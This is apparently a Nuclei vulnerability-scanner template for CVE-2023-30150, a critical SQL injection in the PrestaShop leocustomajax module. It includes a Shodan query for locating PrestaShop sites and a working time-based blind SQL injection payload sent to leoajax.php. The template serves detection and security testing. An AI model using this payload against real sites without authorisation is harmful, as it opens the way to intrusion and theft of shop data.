nuclei-templates/http/cves/2023/CVE-2023-30150.yaml

41 lines
1.1 KiB
YAML

id: CVE-2023-30150
info:
name: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection
author: mastercho
severity: critical
description: |
PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-30150
- https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html
- https://www.tenable.com/cve/CVE-2023-30150
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-30150
cwe-id: CWE-89
metadata:
max-request: 2
shodan-query: http.component:"Prestashop"
verified: true
tags: cve,cve2023,prestashop,sqli
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_2>=6'
- 'contains(tolower(response_1), "prestashop")'
condition: and